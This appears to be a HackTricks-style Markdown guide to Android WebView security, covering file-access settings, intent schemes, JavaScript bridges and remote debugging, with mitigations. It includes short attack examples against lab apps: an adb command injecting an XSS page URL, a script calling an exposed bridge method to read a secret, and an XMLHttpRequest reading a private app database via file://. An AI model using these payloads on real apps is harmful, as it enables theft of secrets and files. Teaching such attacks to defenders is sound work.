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151 lines
6.7 KiB
Markdown
151 lines
6.7 KiB
Markdown
# Webview Attacks
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{{#include ../../banners/hacktricks-training.md}}
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## Guide on WebView Configurations and Security
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### Overview of WebView Vulnerabilities
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A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.
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.png>)
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### **File Access in WebViews**
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By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ_EXTERNAL_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).
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#### **Deprecated Features: Universal and File Access From URLs**
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- **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
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- To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
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- To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
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- **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
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- Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.
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#### **Secure File Loading**
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For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.
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- Check with `getAllowFileAccess()`.
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- Enable or disable with `setAllowFileAccess(boolean)`.
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#### **WebViewAssetLoader**
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The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.
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### loadUrl
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This is a common function used to load arbitrary URLs in a webviwe:
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```java
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webview.loadUrl("<url here>")
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```
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Ofc, a potential attacker should never be able to **control the URL** that an application is going to load.
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### **JavaScript and Intent Scheme Handling**
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- **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
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- **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support_url" that could be exploited to execute cross-site scripting (XSS) attacks.
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.png>)
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Exploitation example using adb:
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```bash
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adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
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```
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### Javascript Bridge
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A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.
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- **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
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#### Implementing a JavaScript Bridge
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- **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
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```javascript
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@JavascriptInterface
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public String getSecret() {
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return "SuperSecretPassword";
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};
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```
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- JavaScript Bridge is enabled by adding an interface to the WebView:
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```javascript
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webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
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webView.reload()
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```
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- Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:
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```html
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<script>
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alert(javascriptBridge.getSecret())
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</script>
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```
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- To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
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### Reflection-based Remote Code Execution (RCE)
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- A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
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### Remote Debugging
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- **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.
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#### Enabling Remote Debugging
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- Remote debugging can be enabled for all WebViews within an application by:
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```java
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if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
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WebView.setWebContentsDebuggingEnabled(true);
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}
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```
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- To conditionally enable debugging based on the application's debuggable state:
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```java
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if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
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if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
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{ WebView.setWebContentsDebuggingEnabled(true); }
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}
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```
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## Exfiltrate arbitrary files
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- Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:
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```javascript
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var xhr = new XMLHttpRequest()
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xhr.onreadystatechange = function () {
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if (xhr.readyState == XMLHttpRequest.DONE) {
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alert(xhr.responseText)
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}
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}
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xhr.open(
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"GET",
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"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
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true
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)
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xhr.send(null)
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```
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## References
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- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
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- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
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- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
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- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
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- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
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{{#include ../../banners/hacktricks-training.md}}
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